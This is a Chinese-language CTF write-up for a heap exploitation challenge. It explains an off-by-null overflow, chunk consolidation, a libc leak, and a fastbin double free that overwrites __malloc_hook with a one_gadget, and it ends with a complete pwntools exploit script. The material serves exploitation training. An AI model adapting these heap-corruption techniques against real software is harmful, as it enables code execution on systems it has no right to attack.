程序分析

image-20240306090400038

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def add(size,content):
rl("> ")
sl('1')
rl('size')
sl(str(size))
rl("content:")
sl(content)
def delete(index):
rl("> ")
sl('2')
rl("index:")
sl(str(index))

def show(index):
rl("> ")
sl('3')
rl("index:")
sl(str(index))
def edit(addr,num):
rl("> ")
sl('4')
rl("addr:")
sl(str(addr))
rl("num:")
sl(str(num))

漏洞点

image-20240306090607308

漏洞点在add函数中,会发生一次off-by-null溢出。

攻击思路

首先创建四个堆块,最后一个堆块是为了防止和top_chunk合并。前三个堆块是用来构造合并的

1
2
3
4
add(0x100,'aaaa')
add(0x68,'aaaa')
add(0x110,p64(0)*31+p64(0x21))
add(0x10,'aaaa')

如果要利用off-by-null,那么就需要申请一个超过0x100大小的chunk,chunk3就是被溢出修改的堆块。我们的目的是利用chunk2的off-by-null来修改chunk3的pre_size和size。主要是size中的inuse位,被覆盖后变为0,那么就表示前一个堆块被free过了。当释放chunk3时,会根据pre_size向前合并。chunk3中的0x21内容是为了绕过检测,释放chunk3时会根据size向后判断根据后一个chunk的inuse位进行判断

image-20240306091807221

1
2
delete(0)
delete(1)

因为程序没有修改堆块内容的功能,所以我们需要释放掉chunk1和chunk2。释放chunk1是为了chunk3的向前合并,释放chunk2是为了再次申请出来利用off-by-null。

image-20240306092207676

申请出chunk2

1
add(0x68,'a'*0x60+p64(0x180))

chunk3的pre_size大小需要为chunk1和chunk2的size相加,并且chunk1必须大于fastbins,因为fastbins被free掉,下一个chunk的inuse不会变为0,因为fastbins不会发生合并。

image-20240306092513489

1
delete(2)

然后释放chunk3,发生先前合并。

image-20240306092606371

image-20240306092620994

此时chunk1+chunk2+chun3合并为一个大chunk并处于unsortedbins中,其中chunk1和chun3是free状态,chunk2是malloc状态。

分配合适的size,控制unsortedbins的fd和bk到chunk2的fd处,利用show打印chunk2即可泄露libc

1
2
3
4
5
6
7
8
9
add(0x100,'aaa')
show(0)

libc_leak = l64()
libc_base = libc_leak-0x3c4b78
lg("libc_base",libc_base)

malloc_hook = libc_base + libc.sym['__malloc_hook']
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]

image-20240306092834997

image-20240306093117262

image-20240306093148393

接下来的目的就是利用释放掉chunk2,然后修改chunk2的fd指针指向__malloc_hook区域,之后再多次申请即可得到得到__malloc_hook区域并修改。

1
2
add(0x60,'aaa')
add(0x60,'aaa')

image-20240306093851507

但是此时由于chunk2的size大小为0x171,不能直接free掉,所以需要再次malloc两个0x60大小的chunk,会再次分配一次chunk3这个堆块,此时堆管理器中有三个0x70大小的chunk,其中两个是chunk3的指针,接着利用double_free。

1
2
3
delete(0)
delete(4)
delete(2)

image-20240306093924197

然后再次申请修改chunk的fd指向__malloc_hook区域,最后再次申请三次即可

1
2
3
4
add(0x60,p64(malloc_hook-0x23))
add(0x60,'aaa')
add(0x60,'aaa')
add(0x60,'a'*0x13+p64(libc_base+onegadget[3]))

image-20240306094129081

但是程序中add功能有一个函数会用来判断这个值,如果不为0,就无法执行malloc。

image-20240306094214044

需要用到scanf传入一个超大数,就会导致多次malloc的知识,这个检测判断只能判断一次,多次malloc即可绕过

1
2
rl("> ")
sl('1'*0x10001)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.anna.nssctf.cn', 28691)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(size,content):
rl("> ")
sl('1')
rl('size')
sl(str(size))
rl("content:")
sl(content)
def delete(index):
rl("> ")
sl('2')
rl("index:")
sl(str(index))

def show(index):
rl("> ")
sl('3')
rl("index:")
sl(str(index))
def edit(addr,num):
rl("> ")
sl('4')
rl("addr:")
sl(str(addr))
rl("num:")
sl(str(num))

gdb.attach(p)
add(0x100,'aaaa')
add(0x68,'aaaa')
add(0x110,p64(0)*31+p64(0x21))
add(0x10,'aaaa')

pause()
delete(0)
delete(1)

pause()
add(0x68,'a'*0x60+p64(0x180))

pause()
delete(2)

pause()
add(0x100,'aaa')
show(0)

libc_leak = l64()
libc_base = libc_leak-0x3c4b78
lg("libc_base",libc_base)

malloc_hook = libc_base + libc.sym['__malloc_hook']
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]

pause()
add(0x60,'aaa')
add(0x60,'aaa')

pause()
delete(0)
delete(4)
delete(2)

pause()
add(0x60,p64(malloc_hook-0x23))
add(0x60,'aaa')
add(0x60,'aaa')
add(0x60,'a'*0x13+p64(libc_base+onegadget[3]))

pause()
rl("> ")
sl('1'*0x10001)

inter()